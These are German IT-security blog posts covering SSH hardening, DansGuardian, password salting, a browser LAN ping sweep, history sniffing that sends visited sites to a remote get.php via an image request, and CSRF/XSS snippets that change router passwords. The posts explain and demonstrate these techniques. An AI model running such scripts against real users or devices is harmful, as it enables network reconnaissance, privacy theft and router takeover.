Nach einem aktuellen Blogartikel – Staatliche SSL MITM Angriffe – erscheint die heutige Meldung bei Heise “Verwaistes Root-Zertifikat sorgt für Verwirrung” gleich in einem ganz anderen Licht. CIA? FBI oder Homeland? Für wen wurde dieses Zertifikat wohl ausgestellt? 
Kurz zum Löschvorgang:
Extras => Einstellungen => Erweitert => Zertifikate anzeigen => “RSA Security Inc” expandieren und “RSA Security 1024 v3″ löschen.
Unbestritten: Dienste wie Dropbox sind wirklich praktisch. Man hat seine Daten auf seinen diversen Rechnen mit evtl. sogar unterschiedlichen Betriebssystemen immer synchronisiert.
Trotzdem bleibt ein fader Beigeschmack: Man läd immerhin seine Daten, auch wenn sie nicht die Privatsphäre oder gar die Imtimsphäre betreffen, irgendwo in die Wolke und vertraut sie so einem amerikanischen Unternehmen an …
Doch das muss nicht sein.
Erstellt man mit TrueCrypt einen Container in seinem persönlichen Dropbox-Ordner wird dieser Container natürlich synchronisiert. Anschließend, bevor man nun den Container mountet, sollte man noch kurz in den Einstellungen von TrueCrypt vorbeischauen und überprüfen, ob folgender Haken gesetzt ist:
Ist dieser Haken nämlich gesetzt, synchronisiert Dropbox nicht jedes mal den kompletten Container sondern immer nur die Änderungen. Damit lassen sich auch größere Container einfach mit Dropbox händeln.
Eine interessante Idee hatten die Security-Spezialisten von ha.ckers.org. In ihrem aktuellen Blogartikel schreiben sie über eine Möglichkeit wie man z.B das interne Netz eines Surfers über den Browser auf die existenz aktiver Hosts überprüfen könnte.
Hierzu wird natürlich kein echtes ICMP-Packet durch den Browser generiert, sondern ein so genannter Cross-Origin Request an jeden einzelnen Host abgesetzt. Mit dieser Methode will das W3C den Authoren von Webapplicationen eine sichere Möglichkeit bieten, die so geannte Same Origin Policy zu umgehen.
Diese Methode bediehnt sich eines einfachen Gedankens: Eine IP hinter der ein Host steckt, kann schneller reagieren als eine IP hinter der kein Host steckt. (Wie denn auch, wer soll da reagieren?)
Das W3C verbietet im Entwurf zu Cross Origin Request ganz deutlich, dass keine Informationen an den User ausgegeben werden dürfen, wenn das status flag nicht auf success steht.
Hosting specifications also need to ensure not to reveal anything until the status flag is set to success to prevent e.g. port scanning.
Indirekt tut es der Browser halt trotzdem:
Hier wichtigste Teil des Javascripts:
1: function processRequest () {
2: if (req.readyState == 4) {
3: var d2 = new Date;
4: var time = d2.getTime() – d.getTime();
5: if (time < 18000) {
6: if (time > 10) {
7: log (“Exists: ” + url + ” at ” + time + “ms.”);
8: }
9: } else {
10: log (“Doesn’t exist: ” + url + ” at ” + time + “ms.”);
11: }
12: }
13: }
Im vorderen Teil des Skripts (hier nicht abgebildet) wird das neue XMLHTTPRequest-Objekt ( req ) sowie die Startzeit des Skripts ( d ) erzeugt.
Wenn der Request beendet ist (Zeile 2) vergleicht das Skript die Anfangs- und Endzeit (d und d2). Wenn die Hosts innerhalb von 10 – 18000 Millisekunden geantwortet haben, dann werden sie als Online deaklatiert.
Diese unterschiedlichen Zeiten entstehen dadurch, dass jeder aktive Host, egal ob er auf Port 80 erreichbar ist oder nicht, dem Browser schneller eine Reaktion auf die Anfrage liefern kann als ein Host der nicht im Netzwerk vorhanden ist. Wenn ein Host nicht im Netzwerk erreichbar ist, läuft der Browser einfach in einen Timeout. Der dauert natürlich deutlich länger…
Es gibt 3 Möglichkeiten, wie ein aktiver Host auf eine Anfrage durch den Browser reagieren kann:
Punkt 1 und 3 sind für das Skript ok und geben den Host als aktiv aus. Punkt 3 verfälscht das Ergebnis allerdings enorm. Dieser Fall entsteht durch eine aktive Firewall , die die Pakete einfach verwirft statt diese mit RST zu beantworten. Die Windows-Firewall (ab SP2 XP) ist z.B. so eingestellt. Genauso kann natürlich auch eine iptables-Firewall unter Linux eingestellt sein…
Link zum Test:
http://ha.ckers.org/weird/xhr-ping-sweep.html
Wer selbst ein wenig rumprobieren will, kann sich die Seite einfach abspeichern und im Quelltext das Array “sites”, entsprechend seiner IP-Range im lokalen Netzwerk, anpassen.
Nachdem man einige Zeit Dansguardian genutzt hat erkennt man, dass Dansguardian doch einige Sachen blockt, die eigentlich harmlos sind. Folgende Einstellung habe ich nach einer Testwoche bei mir getätigt.
Zuerst habe ich etwas aktiviert, was man eigentlich nur im privaten Bereich aktivieren sollte. Den Filter-Bypass. Damit lässt sich per Link eine geblockte Seite temporär freischalten. Dazu klickt man einfach auf den in der Block-Seite eingeblendeten Link (ganz unten im Bild):
Der Bypass-Link übergibt Dansguardian eine GET-Variable mit einer Bypass-Key:
http://www.google.de/search?hl=de&q=[...];GBYPASS=AD92B73FD7BA874240BF9C7708DDA9FA1244672750
Diesen Key kann Dansguardian entweder automatisch generieren oder man kann selbst einen Key festlegen. Wird nun in einem eigentlich gesperrten Link, diese GBYPASS-Variable mit gültigem Wert übergeben, schaltet Dansguardian die Seite für eine bestimmte Zeit frei.
Anzumerken ist hierbei, dass bei einem Virus-Fund der Bypass-Link auch erscheint, aber keine gütlige Bypass-ID mit übergeben wird – d.h. ein Anwender kann keinen durch ClamAV gefundenen Virus mit dem Bypass auf den Rechner laden.
In der gruppenspezifischen Konfigurationsdatei (/etc/dansguardian/dansguardianf1.conf) gibt es eine Zeile bypass = 0. Hier wird in Sekunden eingestellt, wie lange ein Bypass gütlig ist. Mein Wert: bypass = 300. Damit ist mein Bypass also 5 Minuten gültig. 0 deaktiviert den Bypass. Mit dem Eintrag bypasskey = ‘ ‘ könnte man einen eigenen Bypass-Key festlegen. Lässt man den Eintrag leer, generiert Dansguardian selbst einen Key.
Nun muss der Link noch in das Template der Blockseite eingebaut werden. Dazu bearbeiten wir folgende Datei: /etc/dansguardian/languages/german/template.html. German ist hier natürlich entsprechen der in der dansguardian.conf eingestellten Sprache zu wählen. (Siehe 1. Blogeintrag zu Dansguardian).
In diese Datei fügen wir nun, an der gewünschten Stelle, folgenden HTML-Code ein:
<tr>
<td>
<td>
<center><a href=”-BYPASS-”>Bypass</a></center>
</td>
</tr>
Die Variable -BYPASS- ersetzt Dansguardian durch den Bypass-Link. Also z.B. durch:
http://www.google.de/search?hl=[…[&GBYPASS=AD92B73FD7BA874240BF9C7708DDA9FA1244672750
Damit hat nun jeder User die Möglichkeit den Filter kurzfristig zu umgehen.
Früher war es so, dass ein Großteil der Malware per E-Mail den Weg auf die Rechner fand. Heute ist es so, dass die meiste Malware über HTTP, also über Webseiten, verbreitet. Da bietet es sich doch an einen Contentfilter einzusetzen, der HTTP-Traffic scannen kann.
Ich habe mich dazu entschieden Dansguardian in Verbindung mit dem kostenlosen Virenscanner ClamAV auf meinem Gateway zu testen.
Dank Debian ist die Installation von Dansguardian ein Kinderspiel:
apt-get install dansguardian squid3
Mit diesem Befehl installiert Debian automatisch Dansguardian und squid3.
Für den Anfang ist in der Squid-Konfigurationsdatei nichts zu machen – wenn sich Squid und Dansguardian auf dem gleichen Server befinden. Squid erlaubt per Default 
den Zugriff, wenn die Quelle des Zugriffs der localhost ist. Da sich in diesem Fall Squid und Dansguarian auf dem gleichen System befinden, sind die default-Einstellungen des Squid ausreichend.
/etc/squid3/squid.conf
acl localhost src 127.0.0.1/32
http_access allow localhost
Im Dansguardian hingegen gibt es Einstellungen, die geändert werden müssen / können / sollten:
/etc/dansguardian/dansguardian.conf
language = ‘german’
contentscanner = ‘/etc/dansguardian/contentscanners/clamav.conf’
Damit, funktioniert Dansguardian erstmal und untersucht allen Traffic mit ClamAV. Dansguarian lauscht per default auf Port 8080. Also muss im Browser die IP des Servers und dieser Port als Proxy eingetragen werden.
Noch einige wichtige Verzeichnisse:
/var/log/dansguardian/access.log – Speichert die Webseiten-Zugriffe
/etc/dansguardian/lists /- beinhaltet alle Listen, nach denen Dansguarian filtert.
/etc/dansguardian/languages/ – beinhaltet alle verfügbaren Sprachen
Soweit für den Anfang. Vor allem wenn man Dansguarian im privaten Bereich einsetzt, findet man mit der Zeit sicher einige Einstellungen, die man gerne ändern will. Mein Feintuning beschreibe ich dann in einem weiteren Post…
Wenn man einen Server mit SSH-Zugang im Internet stehen hat, findet man in den auth-Logs oft folgende Einträge:
Failed password for root from IP_ADRESSE port xxxx ssh2
Failed password for root from IP_ADRESSE port xxxx ssh2
Failed password for root from IP_ADRESSE port xxxx ssh2
Ein Brute-Force Angriff auf SSH. Um das zu unterbinden kann man beispielsweise zusätzliche Tools wie denyhosts oder einem Eintrag im IPTables-Skript einsetzen. Eine andere Möglichkeit ist der Einsatz von Zertifikaten statt einer klassischen Username/Passwort-Authentifikation.
Als Server nutze ich in diesem Fall den freien OpenSSH-Server (einfach installiert per apt-get install ssh) und als Client Putty. Wenn man Putty als SSH-Client nutzen will, muss das Schlüsselpaar (öffentlicher und privater Schlüssel) mit PuttyGen erstellt werden. Sonst kann auch der Befehl ssh-keygen in der Linuxkonsole verwendet werden.
Nach einem Klick auf Generate bewegt man die Maus einige male im Fenster und erstellt so einige Zufallszahlen. Man sollte auch auf jeden Fall ein Passwort angeben – um bei Verlust der Zertifikate noch einen Schutz zu haben.
Danach hat man sein Schlüsselpaar erstellt. (beide Schlüssel abspeichern!)
Wichtig ist nun der hier rot eingerahmte Bereich. Diesen kopieren wir in die Zwischenablage und verbinden uns anschließend zum SSH-Server, allerdings nicht als root sondern als normaler User.
Im Home-Verzeichnis des Users wird nun der Ordner .ssh und darunter die Datei authorized_keys erstellt (/home/$user/.ssh/authorized_keys). Ordner und Datei dürfen maximal “rwx——“ also Dateirecht 700 haben. Sobald group oder others Rechte haben, akzeptiert der SSH-Server die verwendeten Zertifikate nicht.
In die eben erstellte Datei authorized_keys fügen wir den Public Key (Zwischenablage) auf PuttyGen ein. Hier ist zu beachten, dass der Key in einer Zeile stehen muss. Zeilenumbrüche bringen den Server dazu, den Schlüssel zu verweigern.
Ein bestimmte User kann sich nur mit dem privaten Schlüssel am Server anmelden, wenn der dazu passende öffentliche Schlüssel im home-Verzeichnis des Users, in der authorized_keys eingefügt wurde.
Nun sollte der Server bereit sein und eine Verbindung mit Zertifikaten akzeptieren. Dazu gibt am in Putty unter “Connection => SSH => Auth” den vorher erstellten Privaten Schlüssel an. Evtl. kann man unter “Connection => Data” noch einen Usernamen angeben, den man anmelden will. Dann entfällt ein Schritt beim Anmelden.
An SSHd-Config selbst ist nur wenig zu machen. Die Einstellungsdatei findet man unter Debian in der Datei /etc/ssh/sshd_config.
Zu Ändern:
PasswordAuthentication no
Damit wird zukünftig eine Authentifizierung per Benutzername/Passwort-Kombination verboten. D.h. jede Bruteforce-Attacke läuft ins leere.
!Achtung! Wenn diese Option geändert wird, kann man nicht mehr ohne Zertifikat auf SSH zugreifen. Also unbedingt sicher sein, dass die Authentifizierung per Zertifikat auch funktioniert.
Eigentlich Standard-Einstellung, nochmal überprüfen:
RSAAuthentication yes
PubkeyAuthentication yes
Danach muss kurz der SSHd neugestartet werden: /etc/init.d/ssh reload
Pageant ist ein Tool, das private Zertifikate von Putty verwaltet. Nachdem Pageant gestartet wurde, ist es in der Taskleiste zu finden. Zunächst muss man einmal den privaten Schlüssel mit Passwort hinterlegen und ab sofort meldet sich Putty völlig automatisch am Server an – Pageant übernimmt die Passworteingabe, wenn ihm eine passende Passwort/Zertifikat-Kombination für die Verbindung hinterlegt wurde.
Zu beachten:
Gestern wurde ich von @tslg auf die Webseite www.startpanic.com hingewiesen. Nach einem Klick auf “Lets Start” findet die Webseite plötzlich Seiten, die man während dem surfen besucht hat. Erstaunlich und und wirkungsvoll. Man will gleich die Petition unterschreiben:
We are gathering petition signatures with the request to patch the privacy vulnerabilities of web different web browsers. This petition will be sent to the four major development companies – Mozilla Corp., Apple inc., Microsoft Corp. and Opera Software ASA. Join us for a safe and secure Internet!
Doch was passiert im Hintergrund, wie kommt die Webseite an die Daten? Eine unbekannte Sicherheitslücke in allen Browsern? Nicht wirklich.
Die Idee dahinter ist gut und die Webseite ist auch interessant umgesetzt. Da aber keinerlei 
Informationen über die Funktionsweise auf der Webseite stehen, hab ich mir das JavaScript, was im Hintergrund vom Browser ausgeführt wird, mal genauer angesehen.
Dieses Javascript ist ziemlich aufwendig und man braucht einige Zeit bis man es vollständig nachvollzogen hat… vor allem wenn man, wie ich, kein Javascript-Nerd ist.
Nachdem ich das Prinzip verstanden hatte, hab ich einen eigenen Code geschrieben. Der ist deutlich kürzer, arbeitet aber ähnlich.
Die Testwebseite:
http://www.it-blogger.net/files/jsinfogath/jsinfogath.htm
Auf dieser Webseite werden 2 Dateien eingebunden:
In der itblogger.js sind 2 Javascript-Funktionen zu finden, die die Auswertung Informationen machen.
Die erste Funktion heißt writeURL(). Diese Funktion greift auf das Array “urls” zu und schreibt nacheinander Links zu den den Webseiten, die in diesem Array stehen, auf die Testwebseite. Zusätzlich wird jeder einzelne Link mit einer eindeutigen ID versehen. D.h. google.de hat die ID 0, it-blogger.net hat die ID 1,… playboy.de hat die ID 4.
Diese Links werden über die style.css unterschiedlich formatiert. Bereits besuchte Webseiten werden grün angezeigt, nicht besuchte Webseiten werden rot angezeigt. D.h. playboy.de wird wahrscheinlich grün sein, spiegel.de rot.
Das ist bisher nichts besonderes. Diese Funktion findet man auf vielen verschiedenen Webseiten und Links werden ja sowieso immer unterschiedlich angezeigt.
Bei der zweiten Funktion wird es interessant. checkState() geht die vorher erstellten Links durch und schaut ob diese grün oder rot dargestellt werden. Das passiert in diesem Codeabschnitt:
1: var besuchteseiten = “”;
2: for(var i = 0; i<urls.length;i++){
3: var besucht = window.getComputedStyle(document.getElementById4(i),”" ).getPropertyValue(“color”);[...]
5: if(besucht==”rgb(0, 128, 0)”){
6: besuchteseiten = besuchteseiten +”id=”+i;
7: }8:}
Über die Funktion getComputedStyle() (Z. 3) wird überprüft, wie der Browser den Link gerade anzeigt (rot oder grün) . Dazu wählt die Funktion über getElementById() die Links (wir hatten Sie ja mit einer ID versehen) nacheinander aus und überprüft ob die Eigenschaft “color”gleich rgb(0, 128, 0) (also grün) ist.
Wenn dies der Fall ist, schreibt die Funktion “id=x” (x steht für die jeweilige ID der Webseite) in die Variable “besuchteseiten“. Wenn mehrere Webseiten der Liste besucht wurden, werden diese zusammengesetzt in der Varaible gespeichert. Also id=0&id=2,… Außerdem wird ein neues Element unter “Besuchte Seiten” hinzugefügt.
Nachdem alle Webseiten überprüft und gelistet wurden, erzeugt die Funktion ein Bild:
1: div = document.getElementById(‘besucht’);
2: var img = document.createElement(“img”);
3: img.setAttribute(“src”,”http://www.it-blogger.net/files/jsinfogath/get.php?”+besuchteseiten);
4: 5: div.appendChild(img);
Dieses Bild hat als Quelle (Z 3) http://www.it-blogger.net/files/jsinfogath/get.php? und den String aus besuchten Webseiten:
Z.B: http://www.it-blogger.net/files/jsinfogath/get.php?id=1&id=3
In diesem wurden also die Webseiten mit der ID 1 und 4 vom Client besucht. D.h. google.de und winfuture.de.
Dieses Bild versucht der Browser aufzurufen. Erfolglos, denn es gibt das Bild ja nicht. Über den versuchten Aufruf haben wir aber die Informationen über die vom Client besuchten Webseiten, zu einem Server transportiert und könnten diese auf Serverseite weiterverarbeiten. In diesem Beispiel hier passiert auf Serverseite natürlich nichts! 
Man kann natürlich auch das Bild verstecken – dann würde nichtmal der Platzhalter angezeigt werden. (siehe auskommentierte Zeile im Skript).
Auf startpanic.com wird eine etwas größere Datenbank für die Ermittlung der Webseiten verwendet:
http://www.startpanic.com/db/db_en.txt
Das sorgt natürlich für ein besseres Ergebnis. Um alles im Hintergrund zu überprüfen nutzt Startpanic kleine iframes, in die die jeweiligen Links eingebettet und danach überprüft werden. Ingesamt sieht die Startpanic-Version natürlich viel spektakulärer aus – es fehlt aber leider der technische Hintergrund. Das wurde hiermit erledigt
Es schwirrt wieder eine Meldung über einen Angriffsvektor gegen diverse Router durch die Online-Zeitschriften. Doch was steckt hinter dieser “hochgradigen” Gefahr?
Wer sich jetzt denkt: “Was schreibt der denn da fürn Quatsch?” Der möge sich doch kurz diesen Artikel durchlesen: PCWelt oder direkt bei TecChannel.
Leider hört TecChannel genau da auf, wo es interessant wird. Grundlos wie ich finde, denn wer diesen Angriff nachstellen will, schafft das auch ohne TecChannel.
Also, mich hat das Interessiert und deswegen hab ich es mir genauer angeschaut. Leider habe ich grade keine Fritzbox da – deswegen hab ich einfach mal mein AP zur Hilfe genommen. (Hersteller: a quip – fragt mich nicht welches Modell genau. Ist ein einfacher, 30 Euro AP).
Bei diesem AP ist es relativ einfach eine solche CSRF-Attacke durchzuführen. Einstellungen und Parameter werden über GET-Variablen übergeben. Wenn man sich mal die Seite zum Ändern 
des Passworts anschaut findet man, neben einigen Javascript-Funktionen, das hier links dargestellte Formular in Quelltextform.
Dort sieht man, was beim ändern des Passworts passiert: Nachdem man die Passwörter eingegeben hat, klickt man auf Apply und löst damit ein Javascript-Event (onclick) aus, welches anschließend eine Javascript-Funktion (OnSave()) aufruft. Diese macht einige Umformungen und ruft letztendlich eine URL auf, die ungefähr so aussieht:
In dieser URL sind die Werte (altes Passwort, neues Passwort,..) als Hex codiert. Indem diese URL aufgerufen wird, ändert sich das Passwort vom AP.
Jetzt muss man einen User nur noch dazu bringen, diesen Link aufzurufen oder bettet ihn einfach als Bild in eine Webseite ein – und das Passwort am Router ändert sich.
<img src=http://192.168.2.2/TaUpdate/twl54a.lk?ID=7&User=62656[..] alt=””></img>
Wenn ich also ein solches img-Tag auf it-blogger.net einbinde, ändert sich das Passwort von allen, die den gleichen AP haben
Es gibt allerdings auch einige Einschränkungen:
Mit der XMLHttpRequest-API lassen sich beliebige HTTP-Abfragen mit JavaScript erstellen. Dieses JavaScript bettet man anschließend in eine Webseite sein, die z.B. über eine XSS-Schwachstelle am Router diesem den Code unterschiebt.
<script type=”text/javascript”>
var xmlHttp = null;
xmlHttp = new XMLHttpRequest();
if (xmlHttp) {
xmlHttp.open(‘POST’, ‘index.php’, true);
xmlHttp.onreadystatechange = function () {
};
xmlHttp.setRequestHeader(‘Content-Type’, ‘application/x-www-form-urlencoded’);
xmlHttp.send(“pass=11111111&pass2=222222222222″);
}
Hier sendet das Skript die Post-Variablen “pass” und “pass2” an die index.php. Um hier z.B. das Passwort der FritzBox zu ändern, müsste man natürlich den Quelltext analysieren und die Variablen entsprechend anpassen.
Nun könnt ihr ja selbst entscheiden die hochgradig die Gefahr ist
Im letzten Beitrag über dieses Thema ging es ja um Rainbow-Tables, Hashes und um Salts.
Als Barriere gegen Rainbowtables wurden Salts eingeführt. Reagiert wurde schnell: Die Passwortcracker wurden angepasst und können nun Hashes mit Salt knacken. Dazu gibt man im Cracker einfach den Salt und den Hash an, den Rest macht der Cracker selbst.
In der Praxis sieht das so aus:
Wir haben einen MD5-Hash von unserem Passwort: 08da50bd109c7fb1bec49d15ae86e55f
Den wollen wir überprüfen. Dazu schmeißen wir zunächst den Passwortcracker an:
Der findet das Passwort in sekundenschnelle heraus – es ist schließlich auch nicht wirklich komplex. Auch in einer Rainbowtable würden wir den Hash sofort finden. Nun erhöhen wir den Sicherheitsgrad indem wir einen Salt generieren ( invf&RxOb< ) und an das Passwort anhängen (blubberinvf&RxOb<) und Hashen das Ganze:8efc27deead2de7def412600f06c8ca8
Ein Passwortcracker würde Jahre brauchen, in Rainbowtables hätten wir auch keine Chanche. Schafft ein Hacker nun es den Hash herauszufinden hätte er ohne Salt keine Chance.
Mit Salt hätte er eine, da hier das Passwort nicht sehr komplex ist. Viele Cracker haben Funktionen nachgerüstet, wo man einfach die Struktur der Passwort-Salt-Kombination (hier: $password.$salt) und den Salt angibt und der Cracker so den Salt mit berücksichtigen kann. Damit ist die Sicherheitsfunktion des Salts außer Kraft gesetzt.
Außerdem gibt es seit einiger Zeit Cracker die nicht nur über die CPU Hashes durchprobieren, sondern auch noch die GPU mit einbeziehen. Bei dem oberen Bild sehen wir wie die GPU mit in den Crackvorgang eingebunden wurde. ~100 MHashes / s kommen allein von der GPU, ~50-60 pro CPU-Kern. Für eine 70 Euro-Grafikkarte ( 9500GT ) ein doch sehr beachtlicher Wert – HighEnd Grafikkarten bringen deutlich mehr: Mit einer GTX 260 schafft man fast 500 MHashes /s. Die 280 schafft um die 750 MHashes /s – nur mit der GPU!
Fazit:
Das Salzen von Passwörtern ist eine gute Möglichkeit um die Sicherheit ein klein wenig zu erhöhen. Taucht aber beispielsweise eine SQL-Injection in einer Anwendung wie Wordpess auf kann diese Injection so umgeschrieben werden, dass sie zusätzlich zum Passwort auch noch den Salt ausgibt. Der Sicherheitsgewinn geht gegen Null.
Man sollte also auf jeden Fall darauf achten, dass man immer komplexe Passwörter nutzt. Egal für welche Anwendung.
Es gibt diverse Möglichkeiten die Sicherheit seines eigenen Passworts zu überprüfen. Meistens werden Passwörter nicht im Klartext gespeichert sondern als so genannter Hash.
Kurz was ein Hash ist: Quasi der Fingerabdruck des Passworts. Überall wo man sich anmeldet muss ja das Passwort zum vergleich gespeichert werden. Meldet man sich z.B. in einem Forum an, gibt man bei der Registrierung ein Passwort an. Der Hash des Passworts wird in der Datenbank gespeichert. (NICHT das Passwort im Klartext!) Bei
Cracker
jeder Anmeldung wird nun das eingegebene Passwort gehashed und mit dem in der Datenbank gespeicherten Passwort verglichen. Stimmt der Hash überein, ist man authentifiziert. (Vorsicht vor Webseiten, die einem das Passwort im Klartext zuschicken (per Mail oder SMS). Das heißt dann, dass das Passwort irgendwo im Klartext bzw in umkehrbarer Form gespeichert wird. Da würde ich mich sofort abmelden.)
Passwörter die im Klartext gleich sind, sind natürlich auch im Hash gleich. Menschen die geklont werden, haben ja auch die gleichen Fingerabdrücke. Logisch, oder?
Nun, da ein Hash nur ein Fingerabdruck des Passworts ist, kann man das Passwort also nicht einfach zurückrechnen. Deswegen kann man diverse Möglichkeiten nutzen sein Passwort zu überprüfen:
Ranbow-Tables
Die Tatsache, dass gleiche Klartext-Passwörter den gleichen Hash haben machen sich die Rainbow-Tables zu nutze. Denn in Rainbow-Tables werden Passwort und dazu der dazu passende Hash gespeichert. Diese Rainbow-Tables kann man sich entweder selbst mit diversen Programmen anlegen oder schon vorgefertigt von Webseiten per BitTorrent oder direkt herunterladen. Hat man nun beispielsweise einen MD5-Hash den man Cracken will muss man einfach die Tabellen nach dem passenden Hash durchsuchen. Findet man den Hash, hat man das Passwort.
Rainbow-Tables lassen mit einer einfachen Technik außer Kraft setzen: Man salzt die Passwörter (Salt). Ein so genannter Salt ist eine Zufallszahl, die zusätzlich an das Passwort angehängt wird.
Salt
Nehmen wir wieder unser Beispiel von vorher, in Verbindung mit der Hash-Funktion MD5. Ein User registriert sich in einem Forum und gibt dazu sein Passwort an. Im Hintergrund erstellt die Forensoftware eine Zufallszahl, den so genannten Salt. Wenn der User auf Registrieren klickt speichert die Forensoftware folgendes in der Datenbank:
md5($password.$salt) und $salt
Klartext: Die Forensoftware setzt das Passwort und den Salt zusammen, und speichert den Hash über Passwort+Salt (vgl. vorher: nur Passwort) in der Datenbank. Zusätzlich speichert es den Salt im Klartext. Um nun einen Nutzer zu authentifizieren muss die Forensoftware also bei jeder Anmeldung das eingegebene Passwort + Salt hashen und mit dem gespeicherten Wert vergleichen.
Da man das Passwort mit einem Salt verbunden hat, sind selbst identische Passwörter unterschiedlich.
Sinnvoll sind Hashes mit Salt natürlich nur, wenn absolut niemand an die Salts kommt. Hat man die komplette Datenbank an einen Hacker verloren, kann dieser den Salt schon mit einrechnen und hat somit die Sicherheitsvorkehrung des Salts umgangen. Mehr dazu im nächsten Teil “GPU/CPU Bruter”…
